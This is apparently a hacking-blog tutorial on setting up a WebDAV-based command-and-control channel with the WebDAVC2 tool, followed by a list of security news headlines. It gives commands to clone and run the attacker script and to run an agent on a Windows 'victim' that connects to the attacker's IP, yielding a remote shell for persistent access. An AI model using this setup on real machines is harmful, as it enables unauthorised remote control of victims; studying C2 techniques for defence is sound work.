Categories: Maintaining Access

WebDAV to Run a Secret Communication Channel between Victim and Control Server

WebDAV(Web Distributed Authoring and Versioning) is the extended framework of HTTP protocol which includes more features such as clients can connect to the web server and perform actions like a modification of files on the web server.

It works on port 80 and 443.So we can use web server ports as command and control channel to obtain the shell.To perform this attack download the WebDAVC2 tool Here.

Here I have used Kali Linux(Attacker Machine) and Victim Machine (Windows 10)

Installation & Configuration

Git clone this repository:

  • root@kali:~# git clone https://github.com/Arno0x/WebDAVC2

Change directory into the WebDavC2 folder:

  • root@kali:~# cd WebDAVC2

Give the execution permission to the script:

  • root@kali:~# chmod +x webDavC2.py

ATTACKER MACHINE – WebDAV

  • Run the tool and provide the remote web server IP.Here I have given Windows 10 machine IP address.
  • Above Image shows scripts is actively looking for port 80, once the client is connected we should get the shell.

Must Read Complete Kali Tools tutorials from Information gathering to Forensics

VICTIM MACHINE

  • Open the agent.exe executable in cmd of windows 10 machine.
  • Run CMD and Execute the command:agent.exe <Attackers IP> as the listener.
  • Above figure shows victim agent is connected to attackers IP.

BACK TO ATTACKERS MACHINE

  • Once the Listener is executed on my windows 10 victim machine, Here we got a shell with port 80.
  • Let us try some windows commands to control of victim pc.
  • Above figures show Windows 10 is accessible via port 80 on attackers machine.

NOTE: This script uses PROPFIND feature of WebDev used to retrieve remote system.

Therefore WebDev can be used as the C2 communication channel to maintain access to victim machine or delivering malicious payloads.Happy Hacking !!!

BALAGANESH

Recent Posts

Chinese Hackers Breach Belgium State Security Service as Investigation Continues

Belgium’s State Security Service (VSSE) has suffered what is being described as its most severe…

1 day ago

Hacktivist Groups Emerge With Powerful Tools for Large-Scale Cyber Operations

Hacktivism, once synonymous with symbolic website defacements and distributed denial-of-service (DDoS) attacks, has evolved into…

1 day ago

New Pass-the-Cookie Attacks Bypass MFA, Giving Hackers Full Account Access

Multi-factor authentication (MFA), long considered a cornerstone of cybersecurity defense, is facing a formidable new…

1 day ago

Chinese Hackers Exploit Check Point VPN Zero-Day to Target Organizations Globally

A sophisticated cyberespionage campaign linked to Chinese state-sponsored actors has exploited a previously patched Check…

1 day ago

PingAM Java Agent Vulnerability Allows Attackers to Bypass Security

A critical security flaw (CVE-2025-20059) has been identified in supported versions of Ping Identity’s PingAM…

1 day ago

New GitHub Scam Uses Fake “Mods” and “Cracks” to Steal User Data

A sophisticated malware campaign leveraging GitHub repositories disguised as game modifications and cracked software has…

1 day ago